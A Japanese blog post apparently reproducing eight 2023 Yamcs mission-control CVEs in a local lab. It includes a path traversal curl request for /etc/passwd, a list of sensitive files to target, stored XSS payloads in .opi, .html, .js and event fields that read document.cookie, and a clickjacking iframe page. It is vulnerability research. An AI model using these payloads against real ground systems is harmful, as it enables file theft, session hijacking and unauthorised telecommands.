宇宙系のミッションコントロールに使用されるYamcsの過去の脆弱性が気になったので調査した記録。
MCS(Mission Control System)とか言われる部類。
そろそろ本格的に宇宙セキュリティを始めたい。
Known CVEs
今のところ、公開されている脆弱性は全てCVE-2023-*
| # | CVE ID | GHSA | 種別 | CWE | CVSS v3.1 | 重大度 | 修正コミット | 修正の最初のタグ | 報告者 |
|---|---|---|---|---|---|---|---|---|---|
| 1 | CVE-2023-45277 | GHSA-w4m2-qmh3-2g8f | APIでストレージのパストラバーサル (任意ファイル読み取り) | CWE-22 | 7.5 | High | b6db35e43 "Fix traversal vuln. on fs buckets" | yamcs-5.8.8 | VisionSpace Technologies |
| 2 | CVE-2023-45278 | GHSA-43fw-536j-w37j | APIでストレージのパストラバーサル (任意ファイル削除) | CWE-22 | 9.1 | Critical | b6db35e43 (1 と同じ resolvePath() 経路) | yamcs-5.8.8 | VisionSpace Technologies |
| 3 | CVE-2023-45279 | GHSA-4cqv-q33x-wfxw | バケットへ悪意ある JS を参照する display を保存し Telemetry メニュー経由で実行 (Stored XSS) | CWE-79 | 5.4 | Medium | 単独 fix commit を git 履歴で特定できず (Display 描画設計に依存、@yamcs/opi の ScriptEngine が sandbox 無し iframe + eval) | — | VisionSpace Technologies |
| 4 | CVE-2023-45280 | GHSA-643f-hpcc-2gv8 | バケットへ JS 入り HTML をアップロードして開かせる (Stored XSS) | CWE-79 | 5.4 | Medium | コード上の明示的 fix を確認できず (BucketsApi.getObject は調査時点も Content-Type をそのまま返し、Content-Disposition / nosniff も付かない) | — | VisionSpace Technologies |
| 5 | CVE-2023-45281 | GHSA-g92q-cp9m-6xg3 | XSS と組み合わせたセッションクッキー奪取 | CWE-614 | 6.1 | Medium | 6c7095630 "Set more cookie flags" — SameSite=Strict; Secure 付与 |
yamcs-5.8.8 | VisionSpace Technologies |
| 6 | CVE-2023-46470 | GHSA-5m96-93vv-3v3x | Archive Browser タイムライン tooltip Stored XSS (Event source / Telecommand 名 / 他インデックスフィールド経由) | CWE-79 | 5.4 | Medium | 582302e99 ("Use mergeTime to cover full Archive Browser range") に同梱、el.innerHTML = text → el.innerText = text |
yamcs-5.9.3 | VisionSpace Technologies |
| 7 | CVE-2023-46471 | GHSA-7xqf-whj5-xm7f | ScriptViewer の scriptContainer 経由 Stored XSS |
CWE-79 | 5.4 | Medium | 051f6c640 "Fix JS editor interpreting as HTML" — innerHTML 直書きを廃し ace setValue() 経由に変更 |
yamcs-5.8.8 | VisionSpace Technologies |
| 8 | CVE-2023-47311 | GHSA-75g5-m988-7348 | Clickjacking 経由で Command Stack から任意 Telecommand 送信 | CWE-1021 | 6.1 | Medium | コード上の X-Frame-Options / frame-ancestors 追加コミットは確認できず* | — | VisionSpace Technologies |
全部、VisionSpaceが発見。
凄いなあんまり脆弱性解析対象として競合がいないのかも。
一応、ESAとか欧州系のミッションで使用されているらしいのだが。
CVEの中には未修正とみられるものもあった。
Yamcsの仕様上の問題もあるかと思うが、脅威としては残存中。
環境 Setup
Ubuntu 24.04で、yamcs公式配布の簡易デモセットquickstartを使用。
quickstartをそのまま使うと最新バージョンになってしまうので、バージョン調整。
v.5.8.6を探す。
# 好きな当時のコミットログ探し git log --before="2024-01-01" --after="2023-05-01" git checkout -f a855eba3ac14e44a17a10612b7ea72e30370a1fe -b yamcs-5.8.5

v.5.8.6が無いみたいなので、v.5.8.5でも良いかな。
Javaやmvn導入済みであれば、リポジトリにあるスクリプトを実行。
./mwnw compile ./mvnw yamcs:run # 作業終えたら ./mvnw clean
認証機能有効化 Enable Auth
Yamcsはデフォルトだと認証が無くて、adminユーザしか存在しないような環境。
小規模や研究レベルだとたぶんそのまま運用しているかもしれない。
ただ、大規模や商用環境だと認証をちゃんと使っていそうなので、ここでは認証を有効化してテストする。
Yamcsで認証管理の仕組みは、「外部ストア(LDAPのやつとか)」、「yaml管理」、「DB管理(RocksDB)」
一番簡単なのは、「yaml管理」なのでここではyamlで設定する。
yaml管理はDB管理よりも古いがここでの考えと同じくらいの感覚で実際の現場もyaml管理が多いかなとも思う。
yaml管理でのユーザ認証を有効化するには、リポジトリの「src/main/yamcs/etc/」に「users.yaml」、「security.yaml」、「roles.yaml」を作成する。
ちょっと気になったけど、脆弱性のCVSS見ると妙に高い気がする。yamcsの認証機能が無いデフォルト状態を想定しているかも?
users.yaml
以下はユーザー「admin」、「operator」、「viewer」を追加する例。
passwordには平文で書いているけど、「平文」と「ハッシュ」バージョンで記載できる。
平文バージョンはこちら。
admin: displayName: Administrator password: admin superuser: true operator: displayName: Operator User password: operator roles: [ Operator ] viewer: displayName: Read-Only Viewer password: viewer roles: [ Viewer ]
今回はハッシュバージョンにする。
build tool & generate hash
ハッシュは付属ツールで作成できる。
./mvnw clean package target/bundle-tmp/bin/yamcsadmin password-hash
yamcsadminで任意のパスワードを入力すると、パスワードハッシュが作成される。
パスワードハッシュに変えた「users.yaml」は、以下のバージョン。
admin: displayName: Administrator password: 1000:b2e7c8afb6b4a79c95d43376b5556f9729629a89768bf79e:a5c80ec4e6831be607834f99f684a9ec7e4511f6d92381de superuser: true # admin operator: displayName: Operator User password: 1000:5c2288b8151d94672b3d23e56ef5fd5b8dc104a1eed43612:b8c05c5a49867a1452a8baa96ac10b4eb1a43832cef9d89c roles: [ Operator ] # password viewer: displayName: Read-Only Viewer password: viewer roles: [ Viewer ]
viewerだけ平文だが、混在でもいける。
security.yaml
認証機能をONにすると明示するファイル。
ユーザのパスワード保存形式は、「PBKDF2」だけ選べる。
それ以外は自前実装が必要。
enabled: true
authModules:
- class: org.yamcs.security.YamlAuthModule
args:
hasher: org.yamcs.security.PBKDF2PasswordHasher
# blockUnknownUsers: false
# guest:
# superuser: false
ちなみに、iteration 1000なので中々弱い。
roles.yaml
ロールを作成して、権限を調整できる。
今回の検証では別に無くてもいいのだが、例えばこんな風なことできて権限昇格とかありそうだなぁという想像のために配置。
Operator:
ReadParameter: [".*"]
WriteParameter: []
ReadPacket: [".*"]
Command: [".*"]
CommandHistory: [".*"]
System:
- ControlProcessor
- ModifyCommandHistory
- ControlCommandQueue
- GetMissionDatabase
- ControlAlarms
- ControlArchiving
Viewer:
ReadParameter: [".*"]
ReadPacket: [".*"]
CommandHistory: [".*"]
System:
- GetMissionDatabase
run or build
./mvnw yamcs:run
で起動すれば、ログイン画面が表示されるようになる。

何かミスってたら、もう一度コンパイル。
./mvnw clean ./mwnw compile ./mvnw yamcs:run
脆弱性 Details
CVE-2023-45277/CVE-2023-45278
Yamcsで使用されているバケット(object storage)に関して、パストラバーサルが可能。
バケットは任意のファイル(HTML/画像等)を配置してHTTP経由で配信するS3ライクな機能で、配信時のContent-Typeはアップロード時にclientが指定した値(RdbBucket)またはファイル拡張子から自動推測(FileSystemBucket、mime.typesで.html→text/html)で決定される。
バケットとしては「DBに保存する形式(RdbBucket)」と「ファイルシステムに保存する方式(FileSystemBucket)」を使用できる。
このうち、「ファイルシステムに保存する方式」(FileSystemBucket)で、URLのファイルを指定する箇所でパスの制御が厳密にされていないため、ローカルのファイルの中身を表示できてしまった。
もっと具体的には、FileSystemBucket.getObject()/deleteObject()/findObject()の3メソッドが、HTTPリクエストから渡されたobjectName文字列をroot.resolve(objectName)でそのまま Pathとして整形。
yamcsの知っているroot配下に収まっているかを検証せずにFiles.readAllBytes()/Files.delete()/Files.readAttributes()に渡してしまった。
YAML 設定でbuckets:にpath: を指定して作成したバケットが該当(OS ディレクトリをそのままマウントするタイプ)。
RocksDB tablespaceに格納されるバケットは別実装(RdbBucket)のため対象外。
既にvisionspaceが記事を公開している。
setup FileSystemBucket
FileSystemBucketにするディレクトリの作成。
mkdir /tmp/lab-fs-bucket
yamcsを止めてから、src/main/yamcs/etc/yamcs.yamlにFileSystemBucketの設定を追加する。
buckets: - name: lab-fs path: /tmp/lab-fs-bucket
再びyamcsを立ち上げる。
バケット(buckets)は、ブラウザからだとこんな感じに見える。

exploit
FileSystemBucketの<buckets_name>に対してGETする。
curl -u user:password --path-as-is "http://yamcs.local:8090/api/storage/buckets/<buckets_name>/objects/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
例えば、
curl -u user:password --path-as-is "http://192.168.1.9:8090/api/storage/buckets/lab-fs/objects/..%2F..%2F..%2F..%2Fetc%2Fpasswd"

どんな脅威? threats
ファイル閲覧と削除
yamcsの実行権限でファイルの中身見たり、ファイルを削除する。
| メソッド | URL | 内部呼び出し |
|---|---|---|
| GET | /api/storage/buckets/{bucketName}/objects/{objectName*} |
findObject → getObject |
| GET | /api/storage/buckets/{bucketName}/objectInfo/{objectName*} |
findObject |
| DELETE | /api/storage/buckets/{bucketName}/objects/{objectName*} |
findObject → deleteObject(CVE-2023-45278 側) |
ただし、ディレクトリ内のファイル一覧確認はできない。

バケットの配置パスは分かるので、そこから気合で。

攻撃対象となりそうなファイル
パストラバーサルできるときやyamcsで見られたらヤバそうなファイル一覧。
| 対象ファイル | Yamcs での役割 | 一般的?なファイルパス |
|---|---|---|
xtce.xml / <mission>.xml (MDB) |
XTCE 形式のミッションデータベース。テレメトリパラメータ定義 + コマンドカタログ全件(オペコード、引数構造、significance)。MDB Loader が起動時に読み込む | ./yamcs/mdb/xtce.xml./yamcs/mdb/<mission>.xml |
*.xls / *.csv (MDB) |
同 MDB を Excel/CSV 形式で持つもの。SpreadsheetLoader が読む |
./yamcs/mdb/<name>.xls./yamcs/mdb/landing.xls |
yamcs.yaml |
サーバ全体設定。secretKey (JWT/session 署名鍵)、dataDir、incomingDir、HttpServer 設定、bucket 宣言、tablespace 設定 |
./yamcs/etc/yamcs.yaml |
security.yaml |
SecurityStore 設定。AuthModule 一覧(LDAP bind パスワード、OpenID clientSecret、Kerberos keytab パス、IPAddress フィルタ)、guest 設定、blockUnknownUsers |
./yamcs/etc/security.yaml |
users.yaml |
YamlAuthModule 使用時のみ存在。bcrypt ハッシュ付きユーザリスト |
./yamcs/etc/users.yaml (使用時のみ) |
roles.yaml |
ロール → 権限マッピング (Operator, Admin 等の ReadParameter, Command, System 権限定義) |
./yamcs/etc/roles.yaml |
processor.yaml |
プロセッサ設定。TC ACK ルール、コマンド検証、algorithm マネージャ | ./yamcs/etc/processor.yaml |
*.ycs (command stacks) |
事前構築コマンドスタック (運用シーケンス、引数固定値含む)。運用ノウハウそのもの | ./yamcs/stacks/*.ycs(または bucket path: で指定) |
*.opi (Operator displays) |
運用画面定義 (BOY/CSS 形式)。表示中の paramId, 操作可能コマンド一覧 | ./yamcs/displays/*.opi./yamcs/displays/scripts/*.js |
*.par |
パラメータグループ定義 (display 関連) | ./yamcs/displays/*.par |
RocksDB CURRENT / MANIFEST-* |
RocksDB tablespace のメタデータ。SST ファイル一覧の入口 | /storage/yamcs-data/global/CURRENT/storage/yamcs-data/global/MANIFEST-* |
RocksDB *.sst (global) |
users / roles / audit log のバイナリ。strings 抽出で bcrypt ハッシュ・監査ログ取得可能 |
/storage/yamcs-data/global/*.sst |
RocksDB *.sst (cmdhist) |
コマンド履歴: 過去送信全 TC + ACK + タイムスタンプ。運用パターン解析の決定打 | /storage/yamcs-data/<instance>/cmdhist*/*.sst |
RocksDB *.sst (parameter archive) |
全テレメトリパラメータの長期履歴 | /storage/yamcs-data/<instance>/parameter-archive/*.sst |
RocksDB *.sst (events / alarms) |
イベントログ・アラーム履歴 | /storage/yamcs-data/<instance>/events*/*.sst/storage/yamcs-data/<instance>/alarms*/*.sst |
| Bucket FS データ | FileSystemBucket の root 配下。CFDP downlink のサイエンスデータ生、display アセット |
/storage/yamcs-incoming//var/yamcs/buckets/<bucket>/ |
| ログファイル | Yamcs サーバログ。起動時設定ダンプ、認証失敗、TC bytes、stack trace | /var/log/yamcs/yamcs.log./yamcs/log/server.log |
/proc/self/environ |
Yamcs プロセス環境変数。-D 経由で渡された秘密、CI/CD で注入された LDAP_PASSWORD など |
/proc/<yamcs-pid>/environ/proc/self/environ |
users.yamlはyaml管理を使用していればヤバそう。
users.yamlの中のパスワードが平文だともっとヤバイ。
あとは実感が無いのでよく分かっていない。
CVE-2023-45279(未修正?)
Yamcs Web UI の OPI Display Viewerで表示される.opi ファイル内のJavascriptで、Stored XSSが可能。
OPI DisplayはCSS Studio(BOY)形式の運用画面定義XMLで、widgetの動的挙動を実装するために <scripts>や<actions>でJavaScriptを埋め込み・参照できる。
ここで、JavaScript実行時のiframe sandbox が無効かつ同一オリジンで動作する。
例えば、bucket に.opiをアップロードできる権限を持つユーザが、被害者がそれを開いた瞬間に被害者の Yamcs セッション権限で任意JavaScriptを実行できる。
もっと具体的には、npmパッケージ@yamcs/opiの ScriptEngine.tsが、document.createElement("iframe")で生成したhidden iframe (sandbox 属性指定なし)に対し、.opi由来のscriptText文字列を wEval.call(contentWindow, this.scriptText)でそのまま eval() 実行。
iframe はYamcsと同一オリジンのため、document.cookie で session cookie 読み取り、fetch('/api/...')でアクセスしたユーザーとして任意API呼び出し、Yamcs側addScriptLibrary('Yamcs', ...)で公開されたYamcs.issueCommand()で任意テレコマンド送信まで成立しうる。
ManageBucket 権限を持つユーザ (operator role 標準) または自身の user.<name>バケット所有者が攻撃者になり得る。Web UI の Telemetry → Displays メニューから .opi を開くワークフローが攻撃の入口で、displays バケット (examples/simulation で同梱、quickstart でも自動生成) が典型的な舞台。5.8.6 から master まで全バージョン未修正 (@yamcs/opi 自体に sandbox 化や eval 廃止コミットは存在しない、CSS Studio OPI の設計仕様としての JavaScript 実行を維持)。
VisionSpaceは既にのレポートを公開済み。でも、CVE-2023-45279とCVE-2023-45280が逆になっている。(何で?)
exploit
javascriptを記載したopiを用意して、displaysのバケットに配置する。
いくつかバリエーションを考えてみた。
ボタンクリックバージョン
<?xml version="1.0" encoding="UTF-8"?> <display typeId="org.csstudio.opibuilder.Display" version="1.0.0"> <name>xss-button-action</name> <wuid>xss-button-display</wuid> <widget_type>Display</widget_type> <width>500</width> <height>400</height> <x>0</x> <y>0</y> <show_grid>false</show_grid> <show_ruler>false</show_ruler> <show_edit_range>false</show_edit_range> <show_close_button>true</show_close_button> <auto_zoom_to_fit_all>false</auto_zoom_to_fit_all> <auto_scale_widgets> <auto_scale_widgets>false</auto_scale_widgets> <min_width>-1</min_width> <min_height>-1</min_height> </auto_scale_widgets> <macros> <include_parent_macros>true</include_parent_macros> </macros> <grid_space>50</grid_space> <snap_to_geometry>true</snap_to_geometry> <background_color> <color red="255" green="255" blue="255" /> </background_color> <foreground_color> <color red="0" green="0" blue="0" /> </foreground_color> <rules /> <actions hook="false" hook_all="false" /> <scripts /> <widget typeId="org.csstudio.opibuilder.widgets.ActionButton" version="2.0.0"> <wuid>xss-button-widget</wuid> <widget_type>Action Button</widget_type> <name>XSS Button</name> <text>CLICK ME TO TRIGGER XSS</text> <x>50</x> <y>100</y> <width>400</width> <height>100</height> <enabled>true</enabled> <visible>true</visible> <toggle_button>false</toggle_button> <push_action_index>0</push_action_index> <pv_name></pv_name> <pv_value /> <border_style>0</border_style> <border_width>1</border_width> <border_color> <color red="0" green="0" blue="0" /> </border_color> <border_alarm_sensitive>false</border_alarm_sensitive> <forecolor_alarm_sensitive>false</forecolor_alarm_sensitive> <backcolor_alarm_sensitive>false</backcolor_alarm_sensitive> <foreground_color> <color red="0" green="0" blue="0" /> </foreground_color> <background_color> <color red="200" green="200" blue="50" /> </background_color> <font> <opifont.name fontName="Sans" height="16" style="1">Header</opifont.name> </font> <scale_options> <width_scalable>true</width_scalable> <height_scalable>true</height_scalable> <keep_wh_ratio>false</keep_wh_ratio> </scale_options> <rules /> <scripts /> <actions hook="false" hook_all="false"> <action type="EXECUTE_JAVASCRIPT"> <path>EmbeddedJs</path> <embedded>true</embedded> <scriptText><![CDATA[ alert("CVE-2023-45279 (Pattern 1: button click action): " + document.cookie); ]]></scriptText> <description>XSS payload via ActionButton</description> </action> </actions> <image></image> <tooltip>$(pv_name)</tooltip> </widget> </display>
権限があれば、これをAPI経由でdisplaysのバケットに配置できる。
curl -X POST -u admin:admin --path-as-is --data-binary @xss.opi "http://192.168.1.9:8090/api/storage/buckets/displays/objects/xss.opi"
配置すると、Telemetry->Displaysで確認できるようになる。

opiを開いて、ボタンをクリック。

別バージョン パラメータ更新時にトリガー
simulator.pyを動かせば、パラメータが変化したときに読み込み直すところでトリガーするようなものも試せる。
# quickstart 付属のやつ python simulator.py
パラメータ更新時に実行されるバージョン。ここでは、quickstartに含まれている/myproject/Latitudeを対象とした。
<?xml version="1.0" encoding="UTF-8"?> <display typeId="org.csstudio.opibuilder.Display" version="1.0.0"> <name>xss-quickstart-realpv</name> <wuid>xss-quickstart-display</wuid> <widget_type>Display</widget_type> <width>500</width> <height>300</height> <x>0</x> <y>0</y> <show_grid>false</show_grid> <show_ruler>false</show_ruler> <show_edit_range>false</show_edit_range> <show_close_button>true</show_close_button> <auto_zoom_to_fit_all>false</auto_zoom_to_fit_all> <auto_scale_widgets> <auto_scale_widgets>false</auto_scale_widgets> <min_width>-1</min_width> <min_height>-1</min_height> </auto_scale_widgets> <macros> <include_parent_macros>true</include_parent_macros> </macros> <grid_space>50</grid_space> <snap_to_geometry>true</snap_to_geometry> <background_color> <color red="255" green="255" blue="255" /> </background_color> <foreground_color> <color red="0" green="0" blue="0" /> </foreground_color> <rules /> <actions hook="false" hook_all="false" /> <scripts> <path pathString="EmbeddedJs" checkConnect="false" sfe="false"> <pv trig="true">/myproject/Latitude</pv> <scriptText><![CDATA[ alert("CVE-2023-45279 (Pattern 2: real Yamcs PV trigger): " + document.cookie); ]]></scriptText> </path> </scripts> </display>
このopiを開くと、"/myproject/Latitude"が更新される度にスクリプトがトリガーされる。
さらに別バージョン パラメータ更新で.js読み込み
他のjsファイル読み込みバージョン
<?xml version="1.0" encoding="UTF-8"?> <display typeId="org.csstudio.opibuilder.Display" version="1.0.0"> <name>xss-realpv-external-js</name> <wuid>xss-realpv-ext</wuid> <widget_type>Display</widget_type> <width>500</width> <height>300</height> <x>0</x> <y>0</y> <show_grid>false</show_grid> <show_ruler>false</show_ruler> <show_edit_range>false</show_edit_range> <show_close_button>true</show_close_button> <auto_zoom_to_fit_all>false</auto_zoom_to_fit_all> <auto_scale_widgets> <auto_scale_widgets>false</auto_scale_widgets> <min_width>-1</min_width> <min_height>-1</min_height> </auto_scale_widgets> <macros> <include_parent_macros>true</include_parent_macros> </macros> <grid_space>50</grid_space> <snap_to_geometry>true</snap_to_geometry> <background_color> <color red="255" green="255" blue="255" /> </background_color> <foreground_color> <color red="0" green="0" blue="0" /> </foreground_color> <rules /> <actions hook="false" hook_all="false" /> <scripts> <path pathString="xss.js" checkConnect="false" sfe="false"> <pv trig="true">/myproject/Latitude</pv> </path> </scripts> </display>
読み込むJavascriptは例えば以下のxss.js
alert("CVE-2023-45279 (Pattern 3: external JS reference): " + document.cookie);
xss.jsは同じバケットに配置し、opiを開くと、"/myproject/Latitude"が更新される度に"xss.js"に記載sれたスクリプトがトリガーされる。
CVE-2023-45280(未修正?)
Web UIのバケットにJavscript入りhtmlを配置して、Stored XSS が可能。
Content-Type: text/htmlで配信されるレスポンスに対しContent-Disposition: attachment、X-Content-Type-Options: nosniff、Content-Security-Policy が付与されないため、bucket に .html ファイルをアップロードできる権限を持つユーザが、被害者がそれを開いた瞬間に被害者のYamcsセッション権限で任意Javascriptを実行できる。
もっと具体的には、yamcs-core/src/main/java/org/yamcs/http/api/BucketsApi.java:154の getObjectハンドラが、HttpBody.newBuilder().setContentType(contentType).setData(...) で 保存時の Content-Type をそのまま返却するだけで、attachment 化や nosniff ヘッダ付与を一切行わない。
<script>を含む.htmlをupload してGET /api/storage/buckets/<bucket>/objects/xss.html で被害者がアクセスすると、ブラウザは Yamcs と同一オリジンの HTML ページとしてレンダリング→<script>または<img onerror>等が実行される。
ページはYamcsと同一オリジン(http://yamcs/...)なので、document.cookieでsession cookie読み取り、fetch('/api/...', {credentials:'same-origin'})で被害者として任意 API 呼び出し、すべて成立する。
OPI Display Viewer (CVE-2023-45279) を介在させない分、より直接的でブラウザの基本仕様だけで発火する。
ManageBucket権限を持つユーザまたは自身のuser.<name>バケット所有者が攻撃者になり得る。攻撃者が web UIからアップロード(multipart/form-data)するかcurl -F "file=@evil.html;type=text/html" で Content-Type付きmultipart uploadすれば成立。
被害者には URLhttp://yamcs/api/storage/buckets/<bucket>/objects/xss.htmlを踏ませるだけで良い。
5.8.6 から master まで全バージョン未修正** (BucketsApi.getObject に attachment 化や nosniff 追加コミットは git 全期間で 0 件)。
setup & exploit
FileSystemBucketにjavascriptを置いてみる。
CVE-2023-45277/CVE-2023-45278と同じ設定をsrc/main/yamcs/etc/yamcs.yamlに入れた。
buckets:
- name: lab-fs
path: /tmp/lab-fs-bucket
xss用htmlの作成とAPI経由での配置。
echo "<script>alert(\"CVE-2023-45280: \" + document.cookie);</script>" > xss.html curl -X POST -u admin:admin --path-as-is --data-binary @xss.html "http://192.168.1.9:8090/api/storage/buckets/lab-fs/objects/xss.html"
http://192.168.1.9:8090/api/storage/buckets/lab-fs/objects/xss.htmlにブラウザでアクセスする。

バケットがRdbBucketだと、「WebUIでアップロードする」か「type指定」をしないと"Content-Type: text/html"にならないので発火条件がちょっと厳しい。
curl -X POST -u admin:admin --path-as-is -F "file=@xss.html;type=text/html" "http://192.168.1.9:8090/api/storage/buckets/displays/objects/xss.html"
CVE-2023-45281
認証後のCookieにSameSite、Secure、HttpOnlyが無し。
「XSSでCookieが盗まれちゃうよね。」という話。

CVE-2023-46470
Web UIのArchive Browserに関して、timeline上のアイテムにマウスホバーした際の描画でStored XSS。
Archive Browser は過去の telemetry packet/command/event等を時間軸上のバンドとして可視化する画面。
各バンド上のbarにマウスカーソルを合わせるとアイテム名(source/command 名/packet名等)と時刻情報を含む 情報がpop-upする。
このうち、tooltip描画時にel.innerHTML = textで文字列をDOM注入するため、sourceやcommand名フィールドに<img src=x onerror=...>等のHTMLを仕込めば、被害者がそのバンドにカーソルを合わせた瞬間に被害者のYamcsセッション権限で任意Javascriptが実行される。
もっと具体的には、yamcs-web/src/main/webapp/projects/webapp/src/app/archive/TimelineTooltip.ts:17(5.8.6)の show(text, ...)メソッドがel.innerHTML = textを実行し、そのtextはIndexGroupBand.ts:31でlet ttText = data.name + '<br>' + ...として組み立てられ。
data.nameはgroup.id.name(event index 経由ならevent のsourceフィールドそのもの、command index経由ならcommand名)で、サーバから返ってきた値が一切escapeされずHTMLとして解釈される。
ブラウザはYamcsと同一オリジンなので、document.cookieでsession cookie読み取り、fetch('/api/...', {credentials:'same-origin'})で被害者として任意 API呼び出し(テレコマンド送信等)すべて成立。
WriteEvents権限を持つユーザがPOST /api/archive/<instance>/eventsでpayload入りのsourceフィールドを持つeventを投稿するだけで仕込み完了。
被害者がArchive Browser でEventsフィルタをONにして時間範囲を合わせてバーにカーソルを合わせた瞬間に発火する。そして、永続的に DB に残る。
5.8.6〜5.9.2で脆弱、5.9.3 (commit 582302e99) で el.innerText = text に置換されて修正されたが、commit メッセージは "Use mergeTime to cover full Archive Browser range" でXSS修正の言及なし。

exploit
Eventsの投稿は、権限があればAPIでできる。
sourceにXSSペイロードが含まれたものを投稿すれば良い。
ただし、1件だけだと短くてマウスカーソル合わせにくい表示になるので太くする工夫が必要。
PAYLOAD="<img src=x onerror=alert('CVE-2023-46470:'+String.fromCharCode(32)+document.cookie)>"
for i in $(seq 1 60); do
curl -s -o /dev/null -X POST -u admin:admin -H "Content-Type: application/json" \
--data-raw "{\"message\":\"$i\",\"source\":\"$PAYLOAD\"}" \
"http://192.168.1.9:8090/api/archive/myproject/events"
sleep 1
done
沢山投稿すれば太くなる。
Archive Browserで確認。
↑これは結構ズームしてる。
イベントの情報が表示されるようにバーにマウスカーソル合わせると。

ところで、Chromium系/Firefoxでは<svg onload="...">を innerHTMLで挿入してもonloadは発火せず XSSにはならないっていうのが今の常識なのですね。
The innerHTML sink doesn't accept script elements on any modern browser, nor will svg onload events fire.
What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy
あと、PAYLOAD="<img src=x onerror=alert('CVE-2023-46470: '+document.cookie)>"でも良い。
スペースを何とか入れてちょっとでも見やすくしたかった。
CVE-2023-46471
Web UIの Telemetry → Displays機能で.jsファイルを開いた際にStored XSS。
Telemetry → DisplaysはCVE-2023-45279とWeb UI上では同じ箇所。
bucket内の各種ファイル(.opi/.par/画像/.js等)を web UI上で表示する機能で、ファイル拡張子に応じて専用のviewer(OpiDisplayViewer/ParameterTableViewer/ImageViewer/ScriptViewer/TextViewer) がマウントされる仕様。
.js拡張子のファイルはScriptViewerが読み出してace エディタ(JavaScript シンタックスハイライト付きエディタ) として表示される。
このうち、ScriptViewerがace エディタを初期化する直前にscriptContainer.nativeElement.innerHTMLでファイル内容をDOMに注入してしまうため、.jsという名前でHTMLタグを含むファイルをuploadしておくと、被害者がそれを開いた瞬間に被害者のYamcsセッション権限で任意Javscriptが実行される。
もっと具体的には、yamcs-web/src/main/webapp/projects/webapp/src/app/telemetry/displays/ScriptViewer.ts:51 (5.8.6) のinit()メソッドがthis.scriptContainer.nativeElement.innerHTML = textを実行し、その直後にthis.editor = ace.edit(this.scriptContainer.nativeElement)でaceエディタが同じ DOMノードを上書きしてエディタとして再構築する。
innerHTML代入時点でブラウザがHTML パース→<img src=x onerror=...>等が同期発火→直後にaceがDOM上書きという順序のため、被害者の画面上は普通に「HTML タグの文字列が表示されたエディタ」として見え、攻撃の痕跡がUIに残らない。
ブラウザは同一オリジンなので、document.cookieでsession cookie読み取り、fetch('/api/...', {credentials:'same-origin'})で被害者として任意 API呼び出し、すべて成立する。
ManageBucket権限を持つユーザまたは自身のuser.<name>バケット所有者が攻撃者になり得る。
<img src=x onerror=alert(document.cookie)>のような中身をevil.jsとしてuploadし、被害者にhttp://yamcs/<context>/telemetry/displays/files/evil.jsを踏ませるだけで成立。
5.8.6〜5.8.7 で脆弱、5.8.8 (commit 051f6c640 "Fix JS editor interpreting as HTML") で innerHTML 代入を完全削除し、editor.setValue(text, -1) 経由に置換されて修正済み。commit メッセージは XSS 言及無しだが diff から修正であることが確認できる。
見つかった順番で採番されているから仕方が無いが、何だかyamcsの機能を行ったり来たりしているなぁ。
exploit
単純にjavscriptを含むhtmlの一部をファイルとして作成するだけ。
echo '<img src=x onerror=alert("CVE-2023-46471:"+String.fromCharCode(32)+document.cookie)>' > xss3.js
curl -X POST -u admin:admin --path-as-is -F "file=@xss3.js" "http://192.168.1.9:8090/api/storage/buckets/displays/objects/xss3.js"
Telemetry → Displays で.jsファイルを開くと、ScriptViewerで読み込まれてXSS.

ファイル開くと。

ところで、HTML5仕様で<script>タグはinnerHTML経由では実行されないが、<img src=x onerror=...> や <details ontoggle=... open> 等のイベントハンドラ系は発火するって常識ですか?
When inserted using the document.write() method, script elements usually execute (typically blocking further script execution or HTML parsing). When inserted using the innerHTML and outerHTML attributes, they do not execute at all.
CVE-2023-47311
Yamcs HttpServerが HTTPレスポンスにX-Frame-OptionsもContent-Security-Policy: frame-ancestorsも付加しないため、任意の外部サイトが Yamcs Web UI を <iframe> で埋め込み可能。
攻撃者は iframe を CSS で透明化・偽装して、被害者のクリックを Yamcs UI 上の操作にハイジャックできる。
Clickjackingですね。これまでに比べると地味な感じ。
exploit
まぁ読み込むだけなんですけど、それくらいしか再現する気が無かったので。
<!DOCTYPE html> <html> <head> <title>CVE-2023-47311 iframe demo</title> <style> body { font-family: sans-serif; padding: 20px; } iframe { border: 2px solid red; width: 100%; height: 600px; } .note { background: #ffffcc; padding: 10px; margin: 10px 0; } </style> </head> <body> <h1>CVE-2023-47311: Yamcs is iframe-able from any origin</h1> <div class="note"> <code>X-Frame-Options</code> 不在 = 脆弱 </div> <iframe src="http://192.168.1.9:8090/" title="Embedded Yamcs"></iframe> </body> </html>
あんまり、CVE無いね
ちょっと未知の脆弱性発見を頑張って探してみる気持ちになっている。